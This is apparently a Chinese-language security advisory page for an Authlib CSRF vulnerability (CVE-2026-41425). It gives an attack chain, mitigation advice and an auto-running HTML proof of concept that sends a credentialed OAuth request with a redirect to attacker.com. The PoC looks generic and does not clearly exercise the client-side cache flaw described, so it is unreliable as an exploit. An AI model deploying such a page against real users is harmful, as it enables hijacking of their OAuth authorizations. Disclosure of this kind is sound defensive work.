CVE-2026-41425 CVSS 5.4 中危

CVE-2026-41425 Authlib CSRF漏洞

披露日期: 2026-04-24

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-41425

漏洞类型

CSRF

CVSS评分

5.4 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Authlib

漏洞概述

Authlib是用于构建OAuth和OpenID Connect服务器的Python库。在1.6.11版本之前，authlib.integrations.starlette_client.OAuth组件中的缓存功能缺乏CSRF保护。攻击者可利用此漏洞诱骗用户执行非预期的操作，该问题已在1.6.11版本中修复。

技术细节

该漏洞的核心在于Authlib集成Starlette框架实现OAuth客户端时，其缓存机制未实施有效的跨站请求伪造（CSRF）防护。在标准的OAuth流程中，状态参数或CSRF令牌用于确保请求来源的合法性。然而，受影响版本在处理缓存相关的OAuth请求时，未严格校验这些令牌。攻击者可构造恶意HTML页面或链接，诱导已登录的受害者访问。由于浏览器会自动携带认证凭证，且服务器端缺乏CSRF验证，恶意请求将被误认为是合法的OAuth操作。这可能导致攻击者劫持用户的OAuth授权流程，获取访问令牌或修改用户绑定信息。

攻击链分析

STEP 1

侦察

攻击者识别目标应用使用了存在漏洞的Authlib版本（< 1.6.11）且集成了Starlette。

STEP 2

构建

攻击者构建包含恶意请求的网页或脚本，利用缓存功能绕过CSRF保护。

STEP 3

诱导

通过社会工程学手段（如钓鱼邮件），诱导已登录的受害者访问攻击者控制的恶意链接。

STEP 4

执行

受害者的浏览器在后台自动向目标服务器发送OAuth请求，由于缺乏CSRF验证，请求被接受。

STEP 5

影响

攻击者利用受害者的身份获取授权令牌或执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- PoC Concept for CVE-2026-41425 -->
<!-- Attacker hosts this HTML to exploit the CSRF vulnerability -->
<html>
  <body>
    <h1>Loading...</h1>
    <script>
      function exploit() {
        // The vulnerable endpoint URL (example)
        var targetUrl = 'https://target.com/oauth/authorize';
        
        // Payload to exploit the cache feature without CSRF token
        var params = new URLSearchParams();
        params.append('client_id', 'malicious_app_id');
        params.append('response_type', 'code');
        params.append('redirect_uri', 'https://attacker.com/callback');
        params.append('state', 'bypass_cache_check');

        fetch(targetUrl, {
          method: 'POST',
          credentials: 'include',
          headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
          },
          body: params.toString()
        }).then(response => console.log('Request sent'));
      }
      
      window.onload = exploit;
    </script>
  </body>
</html>

影响范围

Authlib < 1.6.11

防御指南

临时缓解措施

建议立即升级到修复版本。如果暂时无法升级，应在Web应用防火墙（WAF）中配置规则，拦截对OAuth端口的异常请求，或者在应用层手动增加针对state参数的强校验逻辑。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表